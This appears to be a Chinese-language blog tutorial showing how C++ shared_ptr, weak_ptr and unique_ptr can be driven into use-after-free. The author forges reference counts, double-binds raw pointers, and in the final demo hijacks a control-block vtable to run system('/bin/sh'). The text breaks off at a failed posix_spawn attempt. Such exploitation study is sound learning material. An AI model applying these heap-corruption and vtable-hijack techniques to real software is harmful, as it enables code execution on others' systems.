ps1: UAF方法不全面, 没写不代表不能用或者没有
ps2: 尽量避免裸指针出现, 只在模拟漏洞(各种任意写)时使用裸指针达到目的, 也就是非必要不用.get()
智能指针
智能指针是C++的常用特性之一, 用于解决C语言以及早期C++中的内存分配和释放过于复杂, 或者内存泄露的问题.
一般使用的智能指针有std::unique_ptr, std::shared_ptr, std::weak_ptr
, std::weak_ptr
可以看作是std::shared_ptr
在特定情况下的补充. 需要#include <memory>
.
然而, 即使有智能指针, 也不能高枕无忧, 因为内存问题是所有人都要面对的, 除非你是高贵的数据分析科学家, 或者你使用语言(yu’an)神Rust
下面简单列一下本人发现的可以对智能指针UAF的方法.
shared_ptr
内存回收方式
shared_ptr
是比较常用的智能指针, 一块堆内存可以被多个若干个shared_ptr
指向, 这块内存会记录被指向的数目(引用计数shared_count), 当引用归零时, 内存被释放. 表面上看是这样的.
实际上std::make_shared<>
分配的内存有两个计数器, shared_count和weak_count
(各4字节), 当然是为了配合weak_ptr
使用
那么shared_ptr
在内存中是什么样的的组织方式, 下面一个demo
#include <iostream>
#include <memory>
int main(){
{
std::shared_ptr<size_t> ptr1 = std::make_shared<size_t>(0x12345678);
std::shared_ptr<size_t> ptr2 = ptr1;
}
return 0;
}
上图是ptr2 = ptr1
之后的栈空间
可以看到其实比较简单, shared_ptr
对象本身是 地址(指针) + 一个虚表指针
上述指针(即.get()
获取的裸指针)指向的一个chunk
的中间部分, 对象的位置. 前面的是0x555555557cc8
虚表地址, 和0x1
weak_count, 0x2
shared_count(use count).
值得一提的是weak_count返回的是0, 但实际上在内存中存的是1, 在之后提到的weak_count指的是内存中的weak_count
作用域结束之后, 分别对两个std::shared_ptr
对象进行析构
第一个析构之后, 堆肯定是没有释放的, 但是use count变成了0x1
然后追踪一下第二个析构
注意下面的调用栈, 现在在_M_release()
中
movabs
这一句, 0x100000001直接硬编码在指令里, 看来是有bear而来
cmp
, rax
里是堆块中use count + weak count
的那一个字长的拷贝. 这里就是比较此时是不是两个count
都只剩1了, 也就是该堆块只有当前正在析构的指针还在引用, 如果是的话, ZF标志位为1
sete al
, 当equal(ZF为1)时, al被设置为1, 反之为0
test al, al
, 经典按位与用来判断是不是0, 结果不是0, ZF变成0
je ...
, 此时不跳转, 进入下面的堆块释放环节.
释放的环节调用了两个方法, _M_dispose
, 和_M_destroy
, 但是在这之前, use count
和weak count
被清零了, 如下图
然后分别call
了_M_dispose
, 和_M_destroy
在_M_destory
中, 在~__allocator_ptr
, 之后堆块释放. 更细节的调用没再追踪了
如果两个count
不是1, 会进入下面的分支
shared_ptr的UAF
根据上面的分析, 得知两点
第一, 必须要让use count
和weak count
都是1, 才能触发堆块释放的操作
第二, 想要让一个堆块释放, 应该先进入一个shared_ptr
的析构函数, 毕竟没人会在用了智能指针之后还手动delete.
如此, 一个简单的UAF思路产生了, 利用程序漏洞篡改两个count
都是1, 然后触发析构, 如果此时还有别的shared_ptr
没析构, 那么就成功UAF了, 不过需要注意的是, 因为chunk
内成员的排布中, 虚表和两个count
在指针获得的空间的低位. 如果想要改这两个成员, 可能需要借助别的漏洞.
看另一个demo
#include <iostream>
#include <memory>
int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);
{
std::shared_ptr<size_t> ptr1 = ptr;
// change use count: 2 -> 1
unsigned int *use_count = (unsigned int *)((unsigned long long)(ptr1.get()) - 8);
*use_count = 1;
// 生命周期结束, ptr1析构, 同时触发ptr和ptr1指向的堆块free
}
std::shared_ptr<size_t> ptr_new = std::make_shared<size_t>(114514);
*ptr = 1919810; // UAF
std::cout<< *ptr_new <<std::endl;
return 0;
}
UAF大成功, 没用的知识又增加了
$ g++ test.cpp -g -o test
$ ./test
1919810
weak_ptr
内存回收方式
首先了解一下weak_ptr
的使用场景, 就是为了避免shared_ptr
`之间的循环引用.
先看一个没有循环引用的demo, 结构体wrapper有一个成员ptr.
#include <iostream>
#include <memory>
struct wrapper
{
std::shared_ptr<wrapper> ptr;
};
int main(){
{
///@note wrapprx 应该叫做 wrapperx_ptr 才符合语义, 但是图都截了...
std::shared_ptr<wrapper> wrapper1 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper2 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper3 = std::make_shared<wrapper>();
wrapper1->ptr = wrapper2;
wrapper2->ptr = wrapper3;
wrapper3->ptr = nullptr;
}
return 0;
}
如图, 在wrapper3析构之后, 对应的内存没有free. 事实上, 在wrapper1之后, 三个chunk才会一起释放. 但这个过程中, 三个wrapper指向的内存的引用计数在正确地减少.
ps: 作用域结束时, 析构的顺序是构造的顺序是相反的, v12是赋值是产生的copy, 可以不管
std::shared_ptr<wrapper>::~shared_ptr(wrapper1);
析构wrapper1
时, 析构了wrapper1->ptr
, wrapper1->ptr
指针析构时又其指向的对象(wrapper2), wrapper2
析构时, 需要析构wrapper2->ptr
, 析构wrapper2->ptr
是析构了指向的对象*wrapper3
*wrapper3
的chunk释放之后, 调用栈回溯, 逐个又free其他chunk
如果说话的方式简单点, 就是析构智能指针就会析构所指向的对象, 析构所指向的对象就会该对象使用的智能指针.
在这个过程中, 三块内存保存的use_count
析构状态 | chunk1 | chunk2 | chunk3 |
---|---|---|---|
没析构 | 1 | 2 | 2 |
wrapper3析构 | 1 | 2 | 1 |
wrapper2析构 | 1 | 1 | 1 |
wrapper1析构 | free | free | free |
进入正题, 有循环引用的demo
#include <iostream>
#include <memory>
struct wrapper
{
std::shared_ptr<wrapper> ptr;
};
int main(){
{
std::shared_ptr<wrapper> wrapper1 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper2 = std::make_shared<wrapper>();
wrapper2->ptr = wrapper1;
wrapper1->ptr = wrapper2; // 构成循环引用
}
return 0;
}
如图, 当作用域结束之后, 两块wrapper的内存都没有释放
简单概括一下, 智能指针wrapper1
析构时, 会析构wrapper
对象(存在第一个chunk里), 然后析构ptr
成员, 析构wrapper
(存在第二个chunk里), 然后又ptr
成员, 最后回去析构存在第一个chunk里的wrapper
, 成功转了个圈
析构函数应该有什么检查机制(可能是检查地址), 因为这个循环递归地析构函数调用并不会卡死程序, 但是确实会让引用计数无法正确减少, 一直都是2, 对应的两个chunk永远无法free, 变成僵尸内存.
打破循环引用的方法之一是将任意一边的指针换成weak_ptr
, 这样堆块里use_count不增加, 取而代之的是weak_count的增加
weak_ptr
有几个比较常用的方法:
1. .expired()
, 返回bool值, 表示对应的内存是否销毁(销毁不等于内存释放)
2. .lock()
, 返回一个和weak_ptr
指向同样内存的shared_ptr
, 如果已被销毁, 将返回一个nullptr
3. .use_count()
, 返回内存的引用计数
上述三个特性是相关联的, 引用计数为0时, 显示已经销毁(expired), .lock()
返回nullptr.
然后关于weak_ptr
造成对应内存释放的问题, 举个例子
#include <iostream>
#include <memory>
int main(){
{
std::weak_ptr<size_t> weak_ptr = std::make_shared<size_t>(0x12345678);
}
return 0;
}
作用域结束时, weak_count
和use_count
为0x0000000100000000
, weak_ptr
析构时, 顺带释放了对应的chunk
利用方式
方法基本同shared_ptr
, 但是需要注意weak_ptr
必须依赖于一个shared_ptr
(否则weak_count为0, 表示销毁, .lock()
返回nullptr, 无法取用该内存), 除此之外和上述share_ptr
应该一致
#include <iostream>
#include <memory>
int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x123456789);
std::weak_ptr<size_t> weak_ptr = ptr;
{
std::shared_ptr<size_t> ptr1 = weak_ptr.lock();
unsigned long long *counts = (unsigned long long *)((unsigned long long)(ptr.get()) - 8);
*counts = 0x100000001;
}
std::shared_ptr<size_t> ptr2 = std::make_shared<size_t>(114514);
*(weak_ptr.lock()) = 1919810;
std::cout<<*ptr2<<std::endl;
return 0;
}
$ g++ test.cpp -g -o test
$ ./test
1919810
或者反过来, 利用weak_ptr
的析构导致chunk
被提前释放
#include <iostream>
#include <memory>
int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);
{
std::weak_ptr<size_t> weak_ptr = ptr;
unsigned long long *counts = (unsigned long long *)
((unsigned long long)(weak_ptr.lock().get()) - 8);
*counts = 0x100000000;
}
std::shared_ptr<size_t> ptr2 = std::make_shared<size_t>(114514);
*ptr = 1919810;
std::cout<< *ptr2 <<std::endl;
return 0;
}
效果上是一致的
unique_ptr
内存回收方式
unique_ptr
是独占内存的智能指针, 一下是几个常用的用法
1. 构造时用std::make_unique<T>(...)
或者std::unique_ptr<T> ptr(new T(...))
2. unique_ptr
之间赋值时需要使用转移语义std::move(...)
, 否则编译不通过
3. T* raw_ptr = ptr.release()
, .release()
方法解除unique_ptr
对一个chunk
的绑定(变成nullptr), 并且会返回对应的裸指针.
4. ptr.reset()
, 如果ptr
不是nullptr, 那么会解除绑定并且释放内存; 如果ptr是nullptr, 则无事发生
5. ptr.reset(...)
, 接受一个对应类型的裸指针, 在4
的基础上, 将unique_ptr
绑定到新的内存上
然后是内存布局
std::unique_ptr<size_t> ptr = std::make_unique<size_t>(0x12345678);
上图是chunk
内的结构, 和裸指针一致, 也就是说篡改内存导致UAF不可能了, unique_ptr
的创建和析构完全是编译器在编译期自动确定的.
但是unique_ptr
和shared_ptr
或者weak_ptr
不同在于, 后两者对于chunk
的释放包含在对智能指针的析构中, 要没一起没; 而unique_ptr
绑定的内存可以在unique_ptr
析构前释放, 即调用.reset()
更重要的是, 没人会手动调用shared_ptr
或者weak_ptr
的析构函数, 但是unique_ptr
的.reset()
却有可能被使用.
所以, 充分考虑开发场景的需要以及开发者可能的失误, 可能会有以下的demo出现
#include <iostream>
#include <memory>
int main(){
size_t *raw_ptr = new size_t(0x12345678);
// 出于某些原因, 两个智能指针指向了同一个chunk
std::unique_ptr<size_t> ptr1(raw_ptr);
std::unique_ptr<size_t> ptr2(raw_ptr);
// 以及出于另外的某些原因, 其中一个先于另一个调用了.reset()
ptr1.reset();
// 此时就有了UAF
std::unique_ptr<size_t> ptr_new = std::make_unique<size_t>(114514);
*ptr2 = 1919810;
std::cout<<*ptr_new<<std::endl;
// 另外, 在此之后, 无论是ptr2还是ptr_new的析构, 都会造成double free
return 0;
}
结果打印
$ ./test
1919810
free(): double free detected in tcache 2
[1] 65769 IOT instruction (core dumped) ./test
比较和综合利用
由于shared_ptr
或者weak_ptr
绑定的内存布局的设计, 导致虚表和两个count在.get()
或者operator*()
的低位, 实际上是不容易被篡改的 ,所以shared_ptr
或者weak_ptr
的UAF需要比较严重的漏洞, 这导致之前篡改两个count时显得非常刻意: 取了裸指针, 还用了强制类型转换和负偏移.
而此处unique_ptr
的漏洞, 就是说unique_ptr
对象和内存依然没有一一对应, 分配的内存先于智能指针对象出现, 导致它被多个指针持有. 概括性的总结, 就是没有从头到尾使用智能指针管理内存, 以及裸指针使用不当导致的
相较而言, 后者漏洞更容易出现, 尤其是在某些裸指针和智能指针并存的情况之下
其次, 这里示例的unique_ptr
的UAF实际上更加类似于C中的UAF.
前面提到shared_ptr
和weak_ptr
其实只能修改一个chunk
的一部分, chunk
释放之后的fd
或bk
将无法修改(仅有UAF时)
而unique_ptr
的UAF可以修改chunk
中所有的内容, 结合另外两种智能指针, 一方面可以用于篡改两个counts, 另一方面能够劫持虚表(感觉这个更有用)
下面是第一个demo, 用unique_ptr
的UAF改shared空间的counts导致chunk
提前释放, 得到shared_ptr
的UAF
#include <iostream>
#include <memory>
#include <vector>
struct TQWord{
size_t QWord_1;
size_t QWord_2;
size_t QWord_3;
TQWord(size_t _a, size_t _b, size_t _c): QWord_1(_a), QWord_2(_b), QWord_3(_c){}
};
int main(){
// TQWord *raw_ptr = new TQWord{0x12345678, 0x87654321, 0xffffffff};
// TQWord *raw_ptr = new TQWord(0x12345678, 0x87654321, 0xffffffff);
TQWord *raw_ptr = new TQWord({0x12345678, 0x87654321, 0xffffffff}); // ?
std::unique_ptr<TQWord> unique_ptr_1(raw_ptr);
std::unique_ptr<TQWord> unique_ptr_2(raw_ptr);
unique_ptr_1.reset();
std::shared_ptr<size_t> shared_ptr = std::make_shared<size_t>(114514);
{
std::weak_ptr<size_t> weak_ptr = shared_ptr;
unique_ptr_2->QWord_2 = 0x100000000; // UAF
}
std::unique_ptr<TQWord> unique_ptr_new = std::make_unique<TQWord>(114, 514, 1919810);
*shared_ptr = 114514; // UAF
std::cout<<unique_ptr_new->QWord_3<<std::endl;
return 0;
}
结果当然是不出意外地打印了1919810
第二个, unique_ptr
的UAF劫持shared_ptr
的虚表, 执行system(...)
劫持之前, 来点分析, 一个demo的demo, 这里编译时-no-pie
便于调试
#include <memory>
int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);
return 0;
}
shared_ptr
的虚表在0x403d38
, 有5个函数指针
可以去搞清楚它们各自是干什么的, 但这里我选择直接打5个断点, 挨个看rdi
到达第一处中断, 是虚表的第三个指针::_M_dispose()
, rdi
是虚表指针(堆上那个), 大致这样式的
*RDI 0x4172b0 —▸ 0x403d38 (vtable for std::_Sp_counted_ptr_inplace<unsigned long, std::allocator<void>, (__gnu_cxx::_Lock_policy)2>+16) —▸ 0x401c7e (std::_Sp_counted_ptr_inplace<unsigned long, std::allocator<void>, (__gnu_cxx::_Lock_policy)2>::~_Sp_counted_ptr_inplace()) ◂— endbr64
与此同时, frame 5
是main+71
, 如下图, 说明现在在析构中, 构造函数没用到虚表函数
到这里就够了, 可以申请一个3 * 8
的空间, 第一个字长填上/bin/sh\x00
或者别的什么指令的地址, 第三个字长填后门函数或者直接是system()
的地址
demo登场
#include <stdlib.h>
#include <iostream>
#include <memory>
struct TQWord{
size_t QWord_1;
size_t QWord_2;
size_t QWord_3;
};
void unreachable(const char** command){
system(*command);
}
size_t cmd = 0x0068732f6e69622f; // b"/bin/sh"
TQWord fakeVtable{cmd, 0xdeadbeef, (size_t)&unreachable};
int main(){
TQWord *raw_ptr = new TQWord{114, 514, 1919810};
std::unique_ptr<TQWord> unique_ptr_1(raw_ptr);
std::unique_ptr<TQWord> unique_ptr_2(raw_ptr);
unique_ptr_1.reset();
std::shared_ptr<size_t> shared_ptr = std::make_shared<size_t>(1919810);
unique_ptr_2->QWord_1 = (size_t)&fakeVtable;
return 0;
}
这么个写法还是美中不足, 虚表函数的第一个参数(rdi
)都是虚表指针(或者说地址), 导致按照上述的写法, 传给unreachable
是&&cmd
, 需要一次解引用
但是话又说回来, 如果虚表地址填上cmd
, 确实不用解引用, 但是没法虚表劫持了
于是想到不用system()
, 可以发现rsi
指向的是shared_ptr
指向的数据区域, 这一部分是可控的
于是, 想到把数据改成/bin/sh\x00
, 这样就有一个const char*
的参数, 然后后门函数方面选择posix_spawn
, 下面是参数表, 可以看到它的第二个参数是path
int posix_spawn(pid_t *restrict pid,
const char *restrict path,
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *restrict attrp,
char *const argv[restrict], char *const envp[restrict]);
但是还是有问题, 函数本身对file_actions
有检查, rdx
为nullptr可以绕过检查, 但调用这几个虚表函数时rdx
都不是nullptr, 出现以下perror
posix_spawn failed: Bad file descriptor